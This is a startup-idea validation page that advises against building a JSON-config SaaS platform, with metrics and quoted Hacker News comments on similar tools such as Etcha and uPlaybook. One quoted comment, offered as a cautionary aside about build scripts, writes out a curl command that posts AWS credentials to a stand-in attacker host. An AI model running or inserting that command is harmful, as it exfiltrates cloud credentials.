Should I Build It Should I Build It
05 Jul 2025
SaaS Developer Tools

a json based config platfrom through that anyone can create any saas ...

...platfrom

Confidence
Engagement
Net use signal
Net buy signal

Idea type: Run Away

Multiple attempts have failed with clear negative feedback. Continuing down this path would likely waste your time and resources when better opportunities exist elsewhere.

Should You Build It?

Don't build it.

Your are here

Your idea for a JSON-based configuration platform to enable anyone to create a SaaS platform falls into a category where similar attempts have faced significant challenges. We found 6 similar products, giving us high confidence in this assessment, but also indicating substantial competition. The engagement around these products is medium, with an average of 5 comments. Based on the discussions around these products, user feedback has been largely negative. Therefore, based on this analysis, you should strongly reconsider pursuing this idea.

Recommendations

  1. Carefully review the criticism summaries from the similar product launches, especially for Etcha and the 'fastest way to build your SaaS'. Understand the specific pain points users experienced with existing solutions. Many users found the SaaS kits too opinionated, so aim for a platform that offers flexibility and customization without being overly prescriptive.
  2. Investigate the potential overlap and differentiation with existing tools like Ansible, Chef, SaltStack, and Terraform. Identify clear advantages and unique selling points for your platform to justify its existence in a crowded market. Consider what specific gaps you can fill or inefficiencies you can solve that these tools don't address adequately.
  3. Explore if your existing skills could solve a related, but different, problem. Perhaps you can pivot your focus towards a more specific niche within the SaaS creation space, such as addressing the config solution vs. feature flag confusion identified in the 'remote config tool' example.
  4. Talk to at least three people who have tried similar products or have experience building SaaS platforms. Inquire about their actual needs, pain points, and desired features. Understanding their workflows and frustrations will help you tailor your platform to meet real-world requirements.
  5. Repurpose any technology you've already built for this idea into a different domain. Consider how you can adapt your existing code and architecture to solve a new problem or create a new type of application. Don't let your work go to waste; find a new application for it.
  6. Based on these conversations and your analysis, brainstorm new ideas that leverage your learnings and address unmet needs in the market. Don't be afraid to completely abandon your original concept and start fresh with a more promising approach.

Questions

  1. Given the criticisms around mutable state and determinism in similar configuration management tools, how will your platform ensure predictable and reliable configurations across diverse environments?
  2. Considering the common complaints about confusing terminology and difficult APIs, how will you prioritize simplicity and user-friendliness in your platform's design and documentation to ensure a smooth onboarding experience for developers?
  3. With the concerns about licensing costs and long-term viability raised by users of similar products, how will you structure your business model and pricing to provide sustainable value and build trust with your users?

Your are here

Your idea for a JSON-based configuration platform to enable anyone to create a SaaS platform falls into a category where similar attempts have faced significant challenges. We found 6 similar products, giving us high confidence in this assessment, but also indicating substantial competition. The engagement around these products is medium, with an average of 5 comments. Based on the discussions around these products, user feedback has been largely negative. Therefore, based on this analysis, you should strongly reconsider pursuing this idea.

Recommendations

  1. Carefully review the criticism summaries from the similar product launches, especially for Etcha and the 'fastest way to build your SaaS'. Understand the specific pain points users experienced with existing solutions. Many users found the SaaS kits too opinionated, so aim for a platform that offers flexibility and customization without being overly prescriptive.
  2. Investigate the potential overlap and differentiation with existing tools like Ansible, Chef, SaltStack, and Terraform. Identify clear advantages and unique selling points for your platform to justify its existence in a crowded market. Consider what specific gaps you can fill or inefficiencies you can solve that these tools don't address adequately.
  3. Explore if your existing skills could solve a related, but different, problem. Perhaps you can pivot your focus towards a more specific niche within the SaaS creation space, such as addressing the config solution vs. feature flag confusion identified in the 'remote config tool' example.
  4. Talk to at least three people who have tried similar products or have experience building SaaS platforms. Inquire about their actual needs, pain points, and desired features. Understanding their workflows and frustrations will help you tailor your platform to meet real-world requirements.
  5. Repurpose any technology you've already built for this idea into a different domain. Consider how you can adapt your existing code and architecture to solve a new problem or create a new type of application. Don't let your work go to waste; find a new application for it.
  6. Based on these conversations and your analysis, brainstorm new ideas that leverage your learnings and address unmet needs in the market. Don't be afraid to completely abandon your original concept and start fresh with a more promising approach.

Questions

  1. Given the criticisms around mutable state and determinism in similar configuration management tools, how will your platform ensure predictable and reliable configurations across diverse environments?
  2. Considering the common complaints about confusing terminology and difficult APIs, how will you prioritize simplicity and user-friendliness in your platform's design and documentation to ensure a smooth onboarding experience for developers?
  3. With the concerns about licensing costs and long-term viability raised by users of similar products, how will you structure your business model and pricing to provide sustainable value and build trust with your users?

  • Confidence: High
    • Number of similar products: 6
  • Engagement: Medium
    • Average number of comments: 5
  • Net use signal: -8.3%
    • Positive use signal: 12.0%
    • Negative use signal: 20.3%
  • Net buy signal: -14.7%
    • Positive buy signal: 0.0%
    • Negative buy signal: 14.7%

This chart summarizes all the similar products we found for your idea in a single plot.

The x-axis represents the overall feedback each product received. This is calculated from the net use and buy signals that were expressed in the comments. The maximum is +1, which means all comments (across all similar products) were positive, expressed a willingness to use & buy said product. The minimum is -1 and it means the exact opposite.

The y-axis captures the strength of the signal, i.e. how many people commented and how does this rank against other products in this category. The maximum is +1, which means these products were the most liked, upvoted and talked about launches recently. The minimum is 0, meaning zero engagement or feedback was received.

The sizes of the product dots are determined by the relevance to your idea, where 10 is the maximum.

Your idea is the big blueish dot, which should lie somewhere in the polygon defined by these products. It can be off-center because we use custom weighting to summarize these metrics.

Similar products

Relevance

Etcha – Infinite scale, serverless config management

18 Nov 2023 SaaS Developer Tools

While developing a SaaS, we needed a way to distribute configurations across a wide array machines in a distributed manner. We built Etcha as a way to build and run servers and applications using familiar Jsonnet and GitOps workflows--lint, test, build, and release.

Users are discussing a Python-based alternative to Ansible, with mixed opinions on its approach to mutable state and determinism. Some prefer Python or Starlark for logic and build systems, while others are confused by terms like 'nondeterministic bag-of-state.' There's interest in compatibility with Ansible tasks and simplifying playbook management. Comparisons are made to Chef, SaltStack, and Terraform, with concerns about differentiating from Ansible and embedding variables in templates. The tool's potential and business model are questioned, with suggestions for an open beta and comments on its use in edge environments.

Users criticized the product for its problematic string-embedding and mutable state strategy, making tasks complex and Ansible coding painful due to nondeterministic states. The terminology is unclear, and the system's determinism is questioned. The API is difficult to navigate, and control structures are less intuitive compared to alternatives. Comparisons to Chef and omissions of SaltStack were noted, along with confusing nomenclature and eye-rolling language. Concerns about security, traceability, unclear state management, and configuration were raised. Licensing costs, limited ecosystem, and potential company failure were seen as barriers to adoption, with no clear advantage over existing tools and doubts about scalability.

https://news.ycombinator.com/user?id=candiddevmike

I have a few customers, the $1,000 subscription isn't a deal breaker at all. It's typically easy to get small expenses like that approved/whip out the credit card for most businesses.Additionally, you can use the software without the subscription for your personal needs or in a non-production/evaluation phase.In the next couple of weeks we'll release EtchaOS, an immutable "meta Linux distro" that bundles Etcha, systemd, and containerd/docker on different variants like Debian, Alma, Fedora and architectures like amd64 and aarch64.

https://news.ycombinator.com/user?id=linsomniac

Your comment really resonates with me, because I'm experimenting with a project to do "ansible, but with Python syntax" [1]. It has some declarative abilities, but also full imperative abilities, and does away with "coding in YAML", so I get full LSP abilities.I've considered the question: What is the difference between declaratively providing an Apache config file, and just copying that file over unconditionally? The big benefits I've come up with are: - Detecting the change so I can trigger an Apache restart only when the file has changed. - Ability to do "--check" and "--diff" to tell me what will change during a dry run. With the downside that the "tasks" become more complicated to build.I had previously built a version of my tool that was just a simpler, local ansible-like tool, with a YAML syntax and realized: I really hate coding Ansible playbooks in YAML. So I started imagining what it might look like if it was in code. I picked Python syntax because I really didn't want to write a parser for a DSL and wanted to see if I could get close enough without it.[1] https://github.com/linsomniac/uplaybook

https://news.ycombinator.com/user?id=mdaniel

I don't know if you've considered it, but I would really value Starlark over "general purpose" python because my grave complaint about unlimited computation things for build systems (gradle, sbt :eyes:), or in this case a config management tool, is that they become real hard to reason about from one developer's machine to another, and/or make the hairs stand up for paranoid folks who really would prefer there not be a $(curl -d @$HOME/.aws/credentials evil.example) hiding in a random build scriptIt also prevents newbies from mistakenly doing os.chdir when they really wanted fs.cd() as in your example playbook

https://news.ycombinator.com/user?id=linsomniac

I had that on my list to give a more thorough look-see a few months ago after it was mentioned in some discussion about fabric replacement. Thanks for putting that back on my radar.I had been wanting to leverage Ansible to get a bunch of functionality with little additional effort, but was trying to do it via direct Ansible API calls, and having no luck. I tried the same with pyinfra with similar results. However, I was able to build a shim that calls pyinfra, and I'm making wrappers to import that functionality into uPlaybook.So now I have apt and systemd and pip support that I had been wanting.The primary benefits of uPlaybook over Ansible/pyinfra/Chef, etc, are:- Playbook discoverability. (Run "up" and it'll give you a list of available playbooks an a short description of them). - Playbook arguments. (Run "up playbook --help" to get a list of CLI arguments the playbook takes. Instead of static playbooks you can have templatable plays that automate generic tasks with specializations). - Lack of boilerplate for local host operations. (You don't have to set up inventories, you just run a playbook, with the limitation that you are running locally. IOW, local operation is dead simple, like with a shell script).

https://news.ycombinator.com/user?id=mdaniel

Throw rocks at me if you like, but ansible is a more swiss army knife than just CM; I can trivially provision a cloud something (and there are a lot of cloud somethings that it supports, not just "hurr, I can make an ec2 instance hurr"), then do traditional config-management upon those resources, then do local tasks -- which I recognize may rub folks the wrong way, but for good or bad it's damn handy in a lot of my specific use cases -- then go back to doing cloud or CM stuff, all within the same playbookAlso, it really jams me up their crazy nomenclature <https://docs.saltproject.io/en/3005/glossary.html> trying to be "cutesy" with really going all-in on that salt thing. I have heard similar, justified, complaints about Brew's "Cellar", "Keg", "Tap", etc

Avatar
45
27
-3.7%
-14.8%
27
45
14.8%
Relevance

The fastest way to build your SaaS

03 Jan 2024 SaaS

Hey HN,The journey from a SaaS idea to a working prototype can be a long, winding road. My partner Shyam and I, with years of startup experience under our belts, have faced this repeatedly. We struggled with building a foundation for our projects - it's daunting and takes your focus away from what truly matters, your brilliant ideas.To bridge this gap, we've cooked up something that we're thrilled to share with you today - SaaSKits.SaaSKits is a simple, efficient boilerplate to kickstart your SaaS ideas. It's built using Remix, Stripe, Prisma, and Resend, designed to free you from the nitty-gritty of setting up a project, so you can get straight to building your product.No more stress over starting from scratch. No more wasting days on initial codebases. Just your ideas, accelerated with SaaSKits.We look forward to your feedback, and can't wait to see what you build with SaaSKits!To quicker launches and big dreams,Keyur

Users reported several issues including demo problems, blank dashboards, and subscription issues. One user suggested using shadcn. Another user mentioned that they found the SaaS kits too opinionated.

Users criticized the product for having a blank dashboard and subscription issues. Additionally, there were suggestions to use shadcn. Some users found the SaaS kits to be too opinionated.

Avatar
3
2
-100.0%
-50.0%
2
3
Relevance

I created a remote config tool for Developers and small Startups

19 Nov 2024 Developer Tools

Hello everyone, I created Nedoto: a tool that in my experience is useful for developers and small businesses. Actually, we are using it in one of our projects in production.This tool allows you to configure your projects in one place (using my tool) and retrieve the configuration via API.The simplest use case is enabling or disabling feature flags on-demand in your smartphone app or website or IoT.To make it easier to use and implement I wrote a Laravel plugin that is useful for interacting with the API programmatically and a Typescript library with real-time functionality.The tool I created also offers a CDN where to store your assets (images, documents, whatever) and deliver them.I know there are other tools like this outside, first of all, Firebase, but for me is too complex to use when you only need to store your config as a JSON, your assets, and retrieve/push them - nothing more.What do you think, it could be useful and a valid alternative compared to other tools outside?

Uses LaunchDarkly for config, S3 for assets.

Unclear value as config solution vs feature flag.

Avatar
2
1
1
2
Top